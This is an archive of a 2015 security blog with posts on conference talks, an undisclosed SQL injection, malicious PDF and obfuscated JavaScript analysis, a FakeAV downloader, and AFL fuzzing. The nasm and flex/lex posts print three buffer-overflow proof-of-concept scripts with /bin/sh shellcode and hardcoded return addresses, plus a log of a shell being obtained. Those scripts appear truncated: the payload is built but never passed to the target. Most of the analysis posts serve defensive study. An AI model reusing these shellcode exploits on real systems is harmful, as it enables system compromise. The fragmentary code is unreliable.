Friday, 19 June 2015

[EN] Social engineering attacks during conference in Katowice

Thanks for watching and all questions during this conference ;)

It was a great energy!

More details:

See you next time.


Wednesday, 27 May 2015

SQLI in e107 CMS

During last few weeks in the middle of time I was doing also some source code review.
That's how I found sqli bug in admin panel in e107 CMS. After a fast response from e107 Team,
fix was created.

This bug was found in e107_2.0_full_beta1 version. I don't know if other versions are also vulnerable.

Details about the vulnerability (even when it's in admin panel) will not be published for now.

Stay in touch. ;)

Monday, 25 May 2015

[EN] Browser exploitation during CybercomDev conference - Updated

During this weekend I gave my first formal security presentation at CybercomDev in Poland.
I was talking about use-after-free exploits, fuzzing and browser exploitation.
Thank you for watching and support ;)

* Currently this presentation is available only on demand.

* Update - 16.07.2015 *
Video (PL) is available here. Thank's Kenis. ;)

See you next time! ;)


Tuesday, 28 April 2015

[EN] Old nasm sigsegv 0day

Like before, I wrote another poc to get shell via overflow in old nasm.
Check it out:

reader@hacking:~/src/COREs $ vim 

 #!/usr/bin/env python
# -------------------------
# 0day poc for nasm 0.98.38
# 28.04.2015

from subprocess import call

flex = '/usr/bin/nasm'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "A"*4076
ret = "\x6c\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

reader@hacking:~/src/COREs $ chmod u+x
reader@hacking:~/src/COREs $ nasm -v
NASM version 0.98.38 compiled on Jun 27 2005
reader@hacking:~/src/COREs $ sh
sh-3.2$ ./
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

reader@hacking:/home/reader/src/COREs $ exit


[EN] Flex 2.5.33 (2) 0days

I was testing some old bugs in one old distro, and that's how I found sigsegv in flex (2.5.33).

Below is the proof of concept:

#!/usr/bin/env python
# -------------------------
# 0day poc for flex 2.5.33

from subprocess import call

flex = '/usr/bin/flex'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "A"*2165
ret = "\xc0\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

Second one is pretty similar (this time for /usr/bin/lex binary):

#!/usr/bin/env python
# -------------------------
# 0day poc for lex 2.5.33
# 28.04.2015

from subprocess import call

lex = '/usr/bin/lex'
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nops = "\x90"*2165
ret = "\x80\xfb\xff\xbf"

payload = nops + shellcode + ret

print 'Done\n\n'

Enjoy ;)


Monday, 2 March 2015

[EN] Analysing malicious PDF - part 2

This time we will check 2 PDF's (because I decide that it will be more fun than just posting about one ;)). Beside that - those 2 files contains different method for delivering the payload, so we will check all of them.

To do:
1. find malicious file
2. find JS if there is any (or other object possible used for attack)
3. decode it - to get as much info as it's possible.
4. if not finished - go to step 2.

Two files to analyse you will find on mentioned before(1) Contagio's Blog.

First case:

Let's check object(s) contains JS:

PDF> object 7 > C:\1.txt 

...will save it to file. Open this file in your favorite editor and 'beauty' the code a little bit:

 Ok, so now we will get the idea...

Now we know how this code is obfuscated. Let's prepare "decoder" :)

Ok good, printable version should now contains decoded string. Checking:

hm... Almost good, but almost it's not enough ;) We need to rewrite this for() loop.

Better! Now we need to unescape() the code in a safe way. Change eval() to document.write() again:

And now we can see that this is (again commented ;) ) code with exploit for Adobe Acrobat.

Beauty again:

Good. Now after few minutes we can get the original exploit:

That's all for case one. :)

Second case:

New sample from Contagio's Blog, and again as a "first stage of checking"
we will use to analyse it:

Ok, now we can see some object(s) also containing JS code. Let's check JS this code:

In object 13 we will find more JS, so we need to extract it to TXT file again to beauty or analyse it later. Let's do it (PDF> object 13 > c:\yourFile.txt). Below is the screen from this action:

We can see that this code needs to be sanitized, so we will do it in Malzilla (unicode decoder in "Misc decoders"):

Malzilla again in action:

After decoding the rest in Burp's Decoder, we can find the real content of this exploit:

Checking online for resources like that, we can easily find proof of concept code, here or here for example.

After those 2 cases explained, you should now be able to check if your spam contains some "interesting" PDF files ;)

(* Remember ;)
if you can't check it, you can always send it to me: zipped with password 'infected'.)

Cheers ;)


Sunday, 1 March 2015

[EN] Analyzing Malicious PDF

Reading Contagio Blog I found few examples of malicious PDF files.

Today we will check one of them. :)

During PDF analysis many times we will use peepdf and Malzilla.
Also this time, those tool will help us to understand what's going on with
our PDF file.

Let's run peepdf on this file. As we can see there is some JavaScript object.
Let's examine this by "object 7" command:

Now we will save this object in 1.txt on C: drive:

Let's grab JS code from our txt file, and check if we can decode it in Malzilla:

First decoded eval() shows us some encoded payload...

Second one is just:


Ok, let's back to our first decoded eval(), that one with payload. Let see
more code (in Notepad++ ). Maybe we will understand how this exploit works
just by reading the code? ;)

And yes :D because in the code we can find even comments;]

So, yes, it looks like a heap spray sploit for Adobe Acrobat Reader < 9.

If you want to learn more, how to protect your self against this kind of vulnerabilities,
check also this or this page

If you will find some weird PDF file in your mailbox, and you don't know how to check
if it's safe to open - let me check it and send it via email (with password 'infected').

Of course you can send me other filetypes as well - MS Office/EXE/DLL/.NET...
You name it.

Thanks ;)

[EN] Obfuscated case - JSredirector

Today we'll check some "obfuscated" JavaScript code. I found this example (named
'JSredirector')  on this site. Thanks again! ;)

So... Unzip the file and you will find index.html with JS code.

Index.html contains encoded JS code:

Decoding (1st obfuscated) unescape() string in Burp:

Second one - trcat()- we can try to check by analysing code in JSDetox:

Now, again using Burp, we will decode this string:

We can see a nice link to tangoing {.} com domain but since the page is down,
few information you can grab in old VirusTotal scans:

That's all for this case;)


Tuesday, 24 February 2015

[EN] Malware analysis – Fake AV Downloader (part 1)

1.    Thanks for the sample file(s)

After writing my last article about malware analysis for Android[1], I decide to check some threats that may come from webpages. Today we can see more advertisement on web than it was few years ago. In case of malicious pages, “advertisements” added there now, more often probably will try to steal your data by installing some malware on your computer or by redirecting you to webpage containing exploit code for your browser(‘s plugin).

Few nice examples of ‘webpages’ like this, I found (again) on great Mila’s blog[0]. Thank’s again! ;)

(Hint: Don’t ask me for the password. Ask Mila via email.)

Let’s check the first one archive with HTML file, named “FakeAV Downloader”.

2.    First View

After unpacking our HTML sample, we can see that index.html file contains HTML and JavaScript code

Let’s copy the JavaScript code to new file, and save it as “ob1.html”. Now we can clean the code a little bit to see what is going on here:

As you can see, JS code is preparing “eval()” and “fromCharCode()” to use it later (with “n”):

3.    Second view

When I was trying to figure out how to deobfuscate this code, I found a link to very nice tool called JSDetox[2]. You can install it on Kali[4], but if there will be any problem with installation by “bundler”, try to install each packet manually (gem). It should helps.

After uploading our sample index.html to JSDetox, we can start deobfuscation  (“Analyse”) and get the results in few seconds:

Now we can see where new created <iframe> tag is trying to relocate us – iframe page is located on: hxxp://

Unfortunately, when I was checking this code, RU hostname was unavailable.

After that, I found some other interesting informations, for example:

a)    Correlation network topology[3]

b)    This host was used for: [5]

c)    and one more information:

So it seems now, that we have all information we need to decide that this index.html file (used in phishing campany for example) can be very dangerous for safety of our users/clients.

4.    More

Again big thanks for the sample files! ;)

If you have more, post the link(s) on comments or send me the email with subject “MALWARE”. Please remember to pack it with password ‘infected’ (zip/rar/whatever). (Without the password, email server will drop them.)

Materials described here:
[0] Mila’s blog –
[1] Android first steps in malware’s world -
[2] JSDetox -
[3] Exposure ISEC Lab –
[4] Kali Linux –
[6] Malware URL – 

[7] PacketStormSecurity - PDF version

Thanks ;)


[EN] Fun with American Fu(n)zzy Lop

Last days I was doing a little research about 'how this crazy afl works'.  ;)
"American Fuzzy Lop" it's an excellent tool created by lcamtuf.

Now it's a good moment to check the documentation of 'afl' if you want
some nice details about using it.

My main note is for "starting" with afl is:
'hangs' sometimes can also give you a potential vulnerability.
Let me show you something. I wrote a simple code with vulnerable strcpy() to
see how afl will handle with 'sample' like this.

What I found was... After few minutes I saw first 'hang':

... after another few minutes I found more and more 'examples' of hangs.
I thought it is timeout or something like that... To check it, I wrote
"extremely advance" bash script ;) to 'automate process of checking hangs'.

So... we will run the script and check the results:

 Next step? Maybe 'ulimit' :

And maybe some gdb now:

... and now, maybe it's your turn to run afl on your own code? ;)

Happy hunting!